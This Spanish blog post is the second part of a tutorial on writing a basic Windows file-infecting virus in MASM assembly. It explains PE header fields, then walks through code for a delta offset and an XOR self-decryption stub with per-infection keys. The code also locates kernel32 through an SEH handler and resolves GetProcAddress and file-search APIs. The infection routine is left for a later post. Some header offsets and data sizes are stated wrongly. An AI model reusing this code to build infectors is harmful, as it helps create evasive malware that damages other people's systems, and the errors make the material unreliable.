Ir al contenido principal

Desarrollo de Malware Básico en Windows (parte 2)

Desarrollo de Malware Básico en Windows (parte 1)

  Buenas a todos,

Ahora tengo un poco de tiempo mas en mi trabajo y he recuperado un tutorial de Zer0pad (todos los méritos para él) de desarrollo de malware.

Este tutorial esta bastante completo para la gente que desea iniciarse en #MalwareDev o  para repasar conceptos básicos en malware como es mi caso.

En esta entrada lo que pretendo es hacer un resumen (espero que no sea muy grande) de el curso para que la gente que le resulte interesante le pueda echar un vistazo y pueda llegar a mas gente.

Esta entrada voy a ir comentando las diferentes partes que tiene el malware que hemos desarrollado con la herramienta RadASM en nuestro "Virtual Machine" e ir comentando el código y el por qué de cada parte.

Sección de un ejecutable.


Vamos a explicar las principales secciones de las cuales se componen un ejecutable en Windows



Dentro de nuestro archivo PE tenemos las siguientes secciones que tenemos que tener en consideración:

    -)DOS Header : Esta cabecera comienza con los caracteres "MZ" (4D5A en hexadecimal), y se conocen como "Magic Number" ya que el valor de los primeros caracteres suele utilizarse para identificar el tipo de archivo.

 Con el software PEView podemos ir viendo un archivo ejecutable e ir viendo todos los campos que          componen nuestro ejecutable final:


    ·  DOS Stub: Normalmente, muestra una frase "This program cannot be run in DOS mode" y es            donde residiría la información si quisiéramos programar un binario en MS-DOS.


 · PE Header: Esta cabecera contiene campos bastante importante en lo ejecutables y que vamos a tener que modificar en nuestro ejecutable. Entre los parámetros más importante vamos a mencionar

·  PE Signature: identifica el tipo de ejecutable, si es PE (W32), NE (W16), etc.

·       NumberOfSections: importante, indica la cantidad de secciones que tiene el archivo, en este caso son 3 (.text, .rdata y .data) estas secciones las tenemos indicar en nuestro malware si queremos escribir valores específicos ahí.

·        TimeDateStamp: indica la fecha de creación del archivo, expresado como la cantidad de segundos desde la hora 00:00 del primero de enero de 1970

·        SizeOfOptionalHeader: indica el tamaño de la próxima cabecera (Optional Header), ya que la misma no tiene un tamaño fijo

·         Characteristics: es un flag que da cierta información acerca del archivo, esta información puede usarse en archivos "debugeables" para indicarle donde se encuentra el resto de información para el debugger.

·       Cabecera PE opcional pero en realidad solo es opcional para algunos archivos como los archivos objetos, para el resto de los ejecutables tiene información muy importante.


0000

Word

Magic

Número mágico

0002

Word

LinkerVersion

Versión del enlazador (LINKER)

0004

Dword

SizeOfCode

Tamaño de la sección de código

0008

Dword

SizeOfInitializedData

Tamaño de la sección de datos inicializados

000C

Dword

SizeOfUninitializedData

Tamaño de la sección de datos no inicializados

0010

Dword

AddressOfEntryPoint

RVA del Entry point

0014

Dword

BaseOfCode

Base de la sección de código

0018

Dword

BaseOfData

Base de la sección de datos

000C

Dword

ImageBase

Base de la Imagen - inicio de la imagen en la memoria virtual

0020

Dword

SectionAlignment

Alineamiento de las secciones (potencia de 2  512-256M)

0024

Dword

FileAlignment

Alineamiento del archivo (potencia de 2  512-64k)

0028

Dword

OperatingSystemVersion

Versión requerida de sistema operativo

002C

Dword

ImageVersion

Versión de la imagen

0030

Dword

SubsystemVersion

Versión del subsistema

0034

Dword

Reserved1

Versión del W32

0038

Dword

SizeOfImage

Tamaño de la imagen: espacio reservado en memoria para el archivo.

003C

Dword

SizeOfHeaders

Tamaño del encabezado

0040

Dword

CheckSum

Suma de chequeo del archivo

0044

Word

Subsystem

Subsistema: 0 - Desconocido      1 - Nativo       2 - Win GUI      3 - Carácter Win

0046

Word

DllCharacteristics

Características del DLL

0048

Dword

SizeOfStackReserve

Tamaño de la memoria reservada para la pila (stack)

004C

Dword

SizeOfStackCommit

Memoria comprometida para la pila

0050

Dword

SizeOfHeapReserve

Memoria reservada para el montículo (heap)

0054

Dword

SizeOfHeapCommit

Memoria comprometida para el montículo (heap)

0058

Dword

LoaderFlags

Flags de carga

005C

Dword

NumberOfRvaAndSizes

Número de RVAs y tamaños (entradas en el directorio de datos)



Dentro de NumberofRVAandSyzes tenemos un array de 16 (10h) estructuras IMAGE_DATA_DIRECTORY, cada una relacionada con estructuras importante de datos en PEFile.



Por ultimo terminamos con las cabeceras de las secciones (.text, .data, .rdata, pueden ser mas ) y las secciones en sí.

Recordemos que en la cabecera PE teníamos un campo que indicaba la cantidad de secciones de nuestro programa (NumberOfSections), o sea que teniendo en cuenta este dato podemos realizar un programa que vaya leyendo cada 28h bytes y así ir obteniendo el detalle de todas las secciones de nuestro programa (esto lo haremos luego en nuestro virus).

0000

8Bytes

Name

El nombre de la sección, contenido en un espacio de 8 bytes

0008

Dword

VirtualSize

Tamaño virtual de la sección

000C

Dword

VirtualAddress

RVA de la sección

0010

Dword

SizeOfRawData

Tamaño de la sección en el disco tras ser redondeada por el alignment

0014

Dword

PointerToRawData

Offset de la sección en el fichero en disco (si es cero, no existe y es creada cuando se ejecuta)

0018

Dword

PointerToRelocations

Puntero para relocalizaciones

001C

Dword

PointerToLinenumbers

Relación entre números de línea y código (para debug)

0020

Word

NumberOfRelocations

Número de reubicaciones

0022

Word

NumberOfLinenumbers

Numero de líneas (relacionado con 01Ch)

0024

Dword

Characteristics

Características de la sección





Bueno una vez que tenemos la estructura que va a tener nuestro archivo ejecutable vamos a ir comentando las diferentes partes de nuestro ejecutable.



Falta añadir a los comentarios del código que en la primera línea (.386) estamos indicando la directiva que indica el tipo de microprocesador. 

Directiva Cita 
.8086Se permiten las instrucciones del procesador Core i8086 (e instrucciones idénticas del procesador i8088). Las instrucciones de procesadores posteriores están prohibidas.
.186 .286 .386 .486 .586 .686Se permiten las instrucciones del procesador x86 correspondiente (x = 1,…, 6). Las instrucciones de procesadores posteriores están prohibidas.
.187 .287 .387 .487 .587Se permiten las instrucciones del coprocesador x87 correspondientes junto con las instrucciones del procesador x86. Se prohíben las instrucciones de procesadores y coprocesadores posteriores.
.286c .386c .486c .586c .686cSe permiten instrucciones SIN PROPÓSITO del correspondiente procesador x86 y coprocesador x87. Se prohíben las instrucciones de procesadores y coprocesadores posteriores.
.286p .386p .486p .586p .686pSe permiten TODAS las instrucciones para el procesador x86 correspondiente, incluidas las instrucciones privilegiadas y las instrucciones del coprocesador x87. Se prohíben las instrucciones de procesadores y coprocesadores posteriores.
.mmxSe permiten instrucciones de extensión MMX.
.xmmSe permiten instrucciones de extensión XMM.
.K3DSe permiten instrucciones AMD 3D.
 

Luego la línea que dice option casemap:none , sirve para indicar que no hacemos distinción de mayúsculas y minúsculas.

Luego comenzamos a escribir en la sección .data  la cual indicamos su comienzo con (".data") en esta sección tenemos el contenido de nuestro malware que "no suele ejecutarse" (no contiene permisos de ejecución (+x) aunque podemos modificarlo y que contenga) y suele contener la información estática de nuestro programa.

En esta sección de nuestro programa tenemos definido 2 variables, (mensaje y título) las cuales son del tipo databyte (db- 8bytes), podremos indicarles otros valores como dataword(dw -16bytes) y datadoubleword(dd - 32bytes).

Código
###########################################################################
mensaje     db "Win32.Zero", 10, 10
            db "Host de prueba para contener el Virus", 10, 10
            db "coded by krilin4 (2021)", 0
titulo      db "[Win32.Zero v0.1]",0

###########################################################################

Los 10 --> corresponde a saltos de línea y el 0--> para indicar el fin de cadena.


Una vez explicada esta parte del programa arrancamos con la parte de código de la sección .code



Lo primero que podemos ver en el esta sección es la introducción de etiquetas como (codigo, iniciovir, delta,...) estas son referencias dentro de nuestro programa que nos permiten hacer saltos a puntos del mismo dentro de un bucle o  almacenar esta parte de la memoria donde comienza una parte del codigo.

Comenzamos con las instrucciones (pushad  y pushfd

pushad --> almacena en el stack los el valor de los registros(Push EAX, ECX, EDX, EBX, original ESP, EBP, ESI, and EDI)  para que al hacer modificaciones en los programas que infectemos luego podamos recuperar el valor de los registros con popad.

pushfd --> almacena el valor del registro EFLAGS en el stack


Luego llamamos a delta con call delta esto nos permite saltar a la etiqueta que indicamos, en este caso hacemos el calculo del delta offset.Este valor es bastante importante en el desarrollo de malware cuando pretendemos infectar archivos.En el loader o primer vector de infección su valor es 0.

Realmente EBP donde almacenamos el delta offset contiene una información especial (y esencial),lo que guardas en EBP es el desplazamiento del código de tu virus respecto a la dirección en memoria donde se carga el archivo infectado, de esta manera  cuando haces referencia a alguna variable del código de tu virus lo harías de la siguiente forma:[ebp+variable].

Cuando tu compilas tu virus las variables son referenciadas mediante direcciones de memoria, al infectar un archivo e intentar acceder a esas variables, estarías accediendo a direcciones de memoria que en ese momento contendrían código del archivo anfitrión, para eso se utiliza el delta offset, sabiendo que en EBP hemos guardado el desplazamiento existente entre la dirección de memoria donde se carga el archivo anfitrión y la dirección de memoria donde empieza nuestro código vírico, pues ya lo tienes claro, al acceder a [ebp+variable] ahí si estarías accediendo al código vírico en  lugar de a código del loader.

**Aparte en el código hay comentarios (que en su momento me parecieron utiles) por si queréis echarle un vistazo también.




En esta parte comenzamos con la rutina de descifrado en la cual hemos utilizado una  rutina XOR para descifrar nuestro código malicioso (payload) y la clave has sido generada de forma pseudoaleatoria con el generador de congruencia lineal.


Explicación Matemática
Generamos la semilla sobre la cual generaremos los números pseudoaleatorios que usaremos como clave para cifrar nuestro código en cada uno de los ficheros que vayamos infectando.:

Xn+1  =  (a Xn + c)  mod m

; Xo  :--->Valor inicial (0xCC)
; m : módulo (m > 0)  -->el valor de m va a indicar el numero de valores aleatorio que vamos a                                                     generar (0 - 31)
; : constante multiplicativa (0 < a < m)
; : constante aditiva (0 <= c < m)


Código que implementa esto:

###########################################################################

 jmp     salta_datos

    clave   db 0CCh              ;Generamos el valor inicial Xo

 

salta_datos:

 

  

    cmp     ebp, 0h                         ; verificamos si es la primera infección(delta offset = 0)

    je        inicioNormal   ;saltamos al inicio normal (No hay cifrado)  

 

    lea       edi, [ebp + offset inicioNormal]; Cogemos la dirección donde empieza el código de nuestro malware cifrado

    

    mov     ebx, 0     ;Inicializamos ebx = 0. nuestro contador para recorrer el programa

    

desencripta:

    mov     al, [edi + ebx]

    xor       al, byte ptr [ebp + offset clave] ;Desciframos con XOR con la clave (byte a byte) byte ptr.

    mov     [edi + ebx], al

    

    inc       ebx         ;Actulizamos el contador ebx = ebx +1

    cmp     ebx, finvir - inicioNormal  ;Sacamos el tamaño de lo cifrado

    je        inicioNormal            ; termina y continúa la ejecución

 

    jmp     desencripta



###########################################################################


Arrancamos con la parte del código (payload) que ira cifrada en cada una de las infecciones que hagamos:


Vemos que llamamos a varias rutinas (kernel32find, getProcAddressFind, obtenerAPIs) no voy a entrar muy en detalle dentro de cada una de estas subrutinas, pero el uso de GetProcAddress() nos permite obtener la dirección de una función exportada en el archivo DLL.


1.-Subrutina Kernel32find




La primera parte del código definimos un nuevo manejador de excepciones,  que tiene la siguiente estructura:
;   typedef struct _EXCEPTION_REGISTRATION_RECORD                                                                     
    ;   {                                                                                                             
    ;   struct _EXCEPTION_REGISTRATION_RECORD *Next; manejador de excepciones ó FFFFFFFFFF si es el último.           
    ;   PVOID Handler; //Metemos la dirección del SEH_handle que encargará de gestionar nuestra excepción                                                  
    ;  }                                                                                                              



###########################################################################

 lea       eax, [ebp + offset SEH_Handler] ;Cogemos la dirección de memoria del SEH_handle donde se gestionará la excecion

    push   eax   ;--> 1 argumento

    mov     eax, dword ptr fs:[0] ;Cogemos la dirección del controlador de excepciones(original) y lo metemos en la pila,

    push   eax ;--> Segundo argumento

    mov    dword ptr fs:[0], esp ;metemos a principio de la lista de SEHlist (fs:[0]) este controlador 


###########################################################################




Ahora ya nos ponemos a sacar la dirección del kernel32.dll, normalmente tenemos una llamada de kernel32.dll en nuestro stack, entonces lo que hacemos es sacar esa dirección del stack, e ir restándole de 1000 en 1000h que es el alineamiento que suele haber en memoria y obtener la donde el valor sea "MZ".
###########################################################################

comienzo:

    mov    eax, dword ptr ds:[esp + 30h] ;(20h de la direccion pushad + 4h de pushfd + 8h del exception handler + 4h porque se encuentra justo en la posición de abajo en el stack)                         

    and    eax, 0FFFFF000h ;Limpiamos los valores  últimos de la direccion ya que la address suele tener una  alineacion de 1000h

                                                  

bucleK32:

    sub         eax, 1000h  ;vamos reduciendo el tamaño del address hasta que encontramos el 'MZ' comienzo del PEHeader

    cmp    word ptr [eax], 'ZM'

    jnz         bucleK32

    jmp    saleK32


###########################################################################

Nuestro controlador que gestiona la excepción esta definido en la siguiente parte de código:
###########################################################################

SEH_Handler:

    mov    esp, dword ptr [esp + 8] ;--> Lo que hacemos es sacar del stack los 2 parámetros que hemos  introducido para generar nuestro SEH handler,

    mov    fs:[0], esp ;--> apuntamos de nuevo nuestro generador de excepciones.

    jmp    comienzo    ;--> Saltamos a la sección de código comienzo


###########################################################################

saleK32:

    mov    dword ptr [ebp + offset MZkernel], eax     ;guarda el comienzo de kernel32DLL en esta variable MZKernel

 

    mov    eax, dword ptr [esp ;Balanceo la pila

    mov    fs:[0], eax   ;Restauro el SEH original

    add    esp, 8

 

;Acabamos rutina kernel32.dll

ret

kernel32find endp 

###########################################################################


Una vez tenemos esta rutina al volver, tenemos guardado la dirección de 'MZ'  del comienzo de kernel32.dll tanto en la variable como en eax al volver de la rutina, ahora nos vamos a intentar calcular la función getProcAddress() que nos permite sacar la posición en memoria de la función que queramos usar en nuestro "virus".


###########################################################################

mov     edi, dword ptr [ebp + offset MZkernel];Una vez tenemos el comienzo de la cabecera en la  posición 3C tenemos el PE header.

    mov     eax, dword ptr [edi + 03Ch] ;Al tener el move entre [] estamos refiriéndonos al contenido en la memoria de esa posición.

    add     eax, edi ;Sumamos la dirección base del kernel32.dll que se encuentra en MZKernel la direccion del PEHeader

    mov     dword ptr [ebp + offset PEHeader], eax  ;almacenamos el valor en la variable PE header.

     ;en la dirección +078 desde la cabecera PE tenemos la tabla de exportaciones., que nos indica donde está el export table.

    

    mov     edi, dword ptr [ebp + offset PEHeader]

    mov     eax, dword ptr [edi + 078h]

    add      eax, dword ptr [ebp + offset MZkernel]

    mov     dword ptr [ebp + offset EData], eax




###########################################################################

;Una vez que de ahi tenemos la dirección de la tabla de exportaciones, lo siguiente que tenemos que hacer es obtener la dirección de la Tabla de nombres.

    mov     edi, dword ptr [ebp + offset EData]

    mov     eax, dword ptr [edi + 020h];Esta tabla se encuentran en la posición +20h de la dirección de la table exportaciones.          

    add      eax, dword ptr [ebp + offset MZkernel]

    mov     dword ptr [ebp + offset AofNames], eax

 

 En la entrada WinDBG- Diseño de ShellCodes tenemos una explicación mas detallada de como funcionan la tabla de exportaciones, por si queréis una explicación un poco mas detallada.

Una vez que tenemos el valor de la tabla de nombres, buscamos el valor de GetProcAddress() que es la función que queremos conocer su valor en memoria para poder cargar el resto de funciones que utilizaremos en nuestro malware:

;Aquí empieza la rutina para encontrar el GetProcAdress en la Tabla.

###########################################################################

    mov     eax, [ebp + offset AofNames] ;Contiene el inicio de la tabla

    mov     [ebp + offset contador], 0 ;Sera el contador usado para indicar la posiciones de esta tabla de donde esta "getProcAddress" en AddressofNameOrdinals

    xor      ebx, ebx                          

   sub      ebx, 4

 

BuscarGPA:

  inc      [ebp + offset contador] ;Incrementamos el contador 1

   add     ebx, 4 ;Incrementamos el registro ebx que se usa como puntero

    mov    edx, [eax + ebx] ; Metemos el contenido de la dirección donde apunta a edx

    add     edx, [ebp + offset MZkernel] ; Sumamos esa dirección a a la dirección base de Kernel32.dll

    mov    esi, edx

  lea      edi, [ebp + offset GetPA] ;GetPA es una variable que hemos definido con el valor "getProcAddress"

  mov    ecx, 0Eh ;Contiene el número de caracteres que vamos a comparar "getProcAddress" --> 14

  cld                  

 repe    cmpsb   ;Compara cadenas en ESI y en EDI byte a byte (y con dentro de compare hacemos un rep que usa ECX como contador para ir decrementándolo

 jnz      BuscarGPA

 

 dec     [ebp + offset contador];Decrementamos el valor porque empieza en 0 y nosotros lo hemos puesto a 1 por defecto.

###########################################################################

;Obtenemos la dirección  de la tabla addressOfNameofOrdinals ( esta tabla tiene un índice 2 bytes) que indica la posición que contendrá la dirección exacta del donde esta el getProcaddress en la última tabla.


    mov     ecx, [ebp + offset EData]    ;Cogemos la dirección de la tabla de exportaciones y la metemos en ecx              

    mov     ecx, [ecx + 24h] ;esta en la dirección de la tabla de exportaciones + 24 tenemos la tabla addressOfNameofOrdinals. 

    add      ecx, [ebp + offset MZkernel] ; Le sumamos la dirección base del Kernel32.dll

En esta tabla( addressOfNameofOrdinals ) cada dirección que contiene tiene 2 bytes, por lo tanto hay que multiplicar por 2 el valor obtenido por el contador (sumando el valor 2 veces en este caso)

    mov     eax, [ebp + offset contador]  ;Obtenemos la posición de la tabla

    add     [ebp + offset contador], eax              ; multiplicamos por dos (a + a = 2a)

    add     ecx, [ebp + offset contador]              ; lo sumamos al inicio de la tabla 


Ahora, guardamos el valor en ECX  y lo utilizaremos en la 3 tabla (AddressofFuncion), para ello sacamos primero la dirección de la tabla AddressofFuncion.

    mov      ebx, [ebp + offset EData] ;Cogemos la direccion de la tabla de exportaciones

    mov      ebx, [ebx + 1Ch]; En la direccion +1c tenenos la RVA de la tabla addressoffuction

    add       ebx, [ebp + offset MZkernel] ;Le sumamos la Base Address

; Ahora esta en tabla cada índice tiene un tamaño de 4 bytes(contiene dirección de memoria 4 bytes)

    movzx   eax, word ptr [ecx] ;Obtenemos el valor de la 2 tabla lo teniamos en ecx

    rol         eax, 2   ; multiplico * 4 porque el índice indicaba la posición en la última tabla y al mostrar direcciones(4 bytes) 

    add       ebx, eax             ;  y lo añado al comienzo de la última tabla

    mov      eax, [ebx] ;Sacamos la dirección del inicio de GetProcaddresss y lo guardo en eax

    add       eax, [ebp + offset MZkernel] ;Añado el BaseAddress

    mov      [ebp + offset GetPAddress], eax  ;Guardamos la variable eax en GetPAddress variable.

ret

getprocaddressfind endp  

###########################################################################

Una vez que tenemos la dirección de GetProcAddress(), llamamos a la subrutina
para obtener la dirección de memoria de las distintas APIs que vamos a necesitar en nuestro virus de prueba.


Para ello hemos definido una estructura en ensamblador zAPIs, que contiene el el nombre de todas las funciones de nuestro virus de prueba, y variables donde iremos almacenando las direcciones de la API, comenzamos por zfindFirst (
FindFirstFileA)zFindNext (FindNextFileA), las variables están definidas unas debajo de otras lo que nos permite en el código un acceso mas rápido.


###########################################################################

obtenerAPIs proc                                                                                                                                                                                                                                        

    lea     esi, [ebp + offset zAPIs]             ; inicio de la tabla de nombres de las API's                                        

    lea     edi, [ebp + offset zFindFirst]       ; inicio de la tabla de direcciones                                                  

    dec     esi ;Esto es porque como en el bucle add  +1 para empezar por 0                                                           

                                                                                                                                      

obtieneAPI:                                                                                                                           

    inc     esi                                                                                                                       

    push    esi                                                                                                                       

    push    [ebp + offset MZkernel]               ; dirección de la libreria que la contiene(kernel32.dll en estas APIs)              

    call        [ebp + offset GetPAddress]          ; llamo a GetProcAddress                                                          

    mov [edi], dword ptr eax                     ; guarda la dirección obtenida                                                       

    add edi, 04h           ; dirección donde guardaremos el valor de la próxima API (+4 bytes al estar declaradas la variables una debajo de otra)                   

buscaSiguiente:                                                                                                                       

    inc     esi                                                                                                                       

    cmp byte ptr [esi], 0h                                                                                                            

    jne     buscaSiguiente ;Buscamos el 0 para indicar que es el final de la primera cadena                                           

    cmp byte ptr [esi + 1], 0h ;Miramos si en la siguiente posición no hay un 0 para comprobar que hemos terminando                   

    jne     obtieneAPI                                                                                                                

    ret                                                                                                  

obtenerAPIs endp                                                                                                                      


###########################################################################

Una vez tenemos los valores de estas APIs, y que podemos usarlas en nuestro programa nos queda la parte de la infección  como tal pero eso será en la siguiente entrada.

Un saludo


Comentarios

Entradas populares de este blog

Radare2- Set de comandos básicos

Buenas a todos y Feliz navidad lo primero. Entre mantecado y mantecado, y motivado por el curso de Ricardo Narvaja (CrackLatinos), me he decidido a publicar una entrada que es mas para mí que para el resto. Pero supongo que puede ser útil para otras personas, de ahí que lo ponga lo mas bonito posible en la web. Vamos a ver un "cheatsheet" con comandos útiles de Radare2 y su funcionalidad, todo esto puede extraerse del --help de las herramientas, pero para los que como yo le gusta ir al grano y ahorrar el mayor tiempo posible, tienen esta entrada. RABIN2: rabin2 -I file_.exe --> Nos proporciona información básica del binario, como arquitectura, y las protecciones del binario como (nx,dep,aslr...) rabin2 -i file_.exe --> Nos muestra los imports del binario. rabin2 -e file_.exe --> Dirección del Entry point. (Dirección virtual y raw offset en el executable) rabin2 -zz file_.exe --> Muestra las strings rabin2 -g file_.exe --> Este comando nos muestr

CTF WriteUp sencillos con Radare2

Para comenzar el blog y así repasar yo de paso, ahora que llevo un tiempo sin hacer ningún tipo de reto en reversing voy a comenzar con algunos CTF que ya se han cerrado y que intentaré resolverlos haciendo uso de Radare2 para los retos que estén sobre la plataforma Linux y IDA para los resto sobre la plataforma Windows. Iré comenzando de dificultad baja y poco a poco subiremos la dificultad conforme vaya sintiéndome mas cómodo yo con las herramientas utilizadas. El  primer reto es un de  Sharif_University_CTF_2016 y es llamado dMd   cuyo binario os podéis descargar de el Github que os dejo a continuación  https://github.com/N4NU/Reversing-Challenges-List/tree/master/Baby/Sharif_University_CTF_2016_dMd . Los voy a encarar de la forma mas sencilla posible para poder seguir un patrón: 1) Mirar el tipo de binario que es: Tras ver el tipo de binario que es, seguidamente lo que hacemos es intentar sacar información del binario como algunas " S trings interesantes "

Iniciación a la técnica de ROP

Buenas a todos, En esta entrada vamos a resolver el binario propuesto por el maestro con la protección DEP: Que previene de ejecutar el código que introducimos en el stack si se encuentra activada esta protección del binario. Para ver si un binario tiene la protección DEP (Data execution prevention) activa, p odemos mirarlo con la herramienta ProcessExplorer tal y como vamos a ver en el siguiente ejemplo activando la columna DEP del mismo para poder comprobar si el proceso tiene o no el DEP habilitado:                                 Vemos que al ser un sistema operativo de x64, todos nuestros procesos tiene el DEP habilitado por defecto, y hemos de comprobar también si tiene alguna otra protección nuestro binario como el ASLR(Address Space Layout Randomization), encargado de aleatorizar las direcciones de la memoria virtual cuando nuestro binario es cargado en memoria virtual. Vamos a ver todos los módulos que componen el binario (Programa + librerias(dlls)) para ver si algún